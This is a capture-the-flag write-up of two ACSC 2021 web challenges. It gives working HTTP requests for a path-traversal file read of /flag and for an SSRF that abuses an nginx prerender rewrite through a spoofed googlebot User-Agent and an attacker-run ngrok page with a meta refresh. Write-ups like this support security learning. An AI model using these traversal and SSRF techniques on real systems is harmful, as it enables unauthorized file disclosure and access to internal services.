ACSC 2021 - Asian Cyber Security Challenge 2021

solved

- API [web]
- Favorite Emojis [web]

API

According to the Dockerfile, reading /flag is the goal.

```
FROM php:7.3-apache

RUN echo "ACSC{this is fake flag}" > /flag
RUN chmod 0444 /flag

COPY ./public/ /var/www/html/
COPY ./000-default.conf /etc/apache2/sites-available/
RUN chmod 0777 /var/www/html/lib/db/

RUN chown -R root:www-data /var/www/html/

RUN chmod 0755 /var/www/html/
```

After looking for the part that reads the file, export_db was found. It takes $file as an argument, concatenates it with the path, and returns the contents of the file.

If `$file` include `../` , LFI is possible.

```
        public function export_db($file)
        {
                if ($this->is_pass_correct()) {
                        $path = dirname(__FILE__) . DIRECTORY_SEPARATOR;
                        $path .= "db" . DIRECTORY_SEPARATOR;
                        $path .= $file;
                        $data = file_get_contents($path);
                        $data = explode(',', $data);
                        $arr = [];
                        for ($i = 0; $i < count($data); $i++) {
                                $arr[] = explode('|', $data[$i]);
                        }
                        return $arr;
                } else
                        return "The passcode does not equal with your input.";
        }
```

Looking at `is_pass_correct()` , we need to know `this->db["path"]` .

```
public function is_pass_correct()
        {
                $passcode = $this->get_pass();
                $input = $_REQUEST['pas'];
                if ($input == $passcode) return true;
        }
public function get_pass()
        {
                return file_get_contents($this->db['path']);
        }
```

`get_pass` is called in `challenge` and return content of `this->db["path"]`

```php
function challenge($obj)
{ // obj : User

        if ($obj->is_login()) { // is_login  verify session
                $admin = new Admin();
                if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');


                $cmd = $_REQUEST['c2'];
                if ($cmd) {
                        switch ($cmd) {
                                case "gu":
                                        echo json_encode($admin->export_users());
                                        break;
                                case "gd":
                                        echo json_encode($admin->export_db($_REQUEST['db']));
                                        //param pas =passcode.db content
                                        //param file = ../../../../../flag
                                        //param c2 = gd
                                        break;
                                case "gp":
                                        echo json_encode($admin->get_pass());  // return this->c
                    //param c2 = gp
                                        break;
                                case "cf":
                                        echo json_encode($admin->compare_flag($_REQUEST['flag'])
                                        break;
                        }
                }
        }
}
```

`challenge` is called in `main`

```php
function main($acc)
{
        gen_user_db($acc);
        gen_pass_db();
        header("Content-Type: application/json");
        var_dump($acc);
        $user = new User($acc);

        $cmd = $_REQUEST['c'];
        //param c = u
        usleep(500000);
        switch ($cmd) {
                case 'i':
                        if (!$user->signin())
                                echo "Wrong Username or Password.\n\n";
                        break;

                case 'u':
                        if ($user->signup())
                                echo "Register Success!\n\n";
                        else
                                echo "Failed to join\n\n";

                case 'o':
                        if ($user->signout())
                                echo "Logout Success!\n\n";
                        else
                                echo "Failed to sign out..\n\n";
                        break;
        }
        challenge($user);
}
```

Therefore, send the appropriate id and pw, to signup and signin.

```
GET /api.php?c=u&id=Aaaaaaaaaa&pw=Aaaaaaaaaa HTTP/1.1
```

then,get `this->db["path"]` content

```
GET /api.php?c=i&id=Aaaaaaaaaa&pw=Aaaaaaaaaa&c2=gp HTTP/1.1
```

```
"eg5y" == $this->get_pass()
```

```
GET /api.php?c=i&id=Aaaaaaaaaa&pw=Aaaaaaaaaa&c2=gd&pas=eg5y`&db=../../../../../flag HTTP/1.1
```

```
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
```

Favorite Emojis

According to the `docker-compose.yml` and `app.py`, access to `http:app:8000/` is the goal.

But nginx routing as shown below.However, there is a rewrite rule, so use it for SSRF.

```
server {
    listen 80;

    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }

    location /api/ {
        proxy_pass http://api:8000/v1/;
    }

    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;

        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexterna
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv
            set $prerender 0;
        }

        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }
        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}
```

Port is not included in the rewrite rules, so we need to redirect other servers to the api server.

Therefore, send a request like the following.

```
GET http://dd5f-60-126-216-91.ngrok.io/ HTTP/1.1
Host: dd5f-60-126-216-91.ngrok.io
User-Agent: googlebot
Content-Length: 2
```

and, provide html like the following

```
<html>
    <head>
        <meta http-equiv=refresh content="0.5;URL=http://api:8000">
    </head>
</html>
```

ACSC{sharks_are_always_hungry}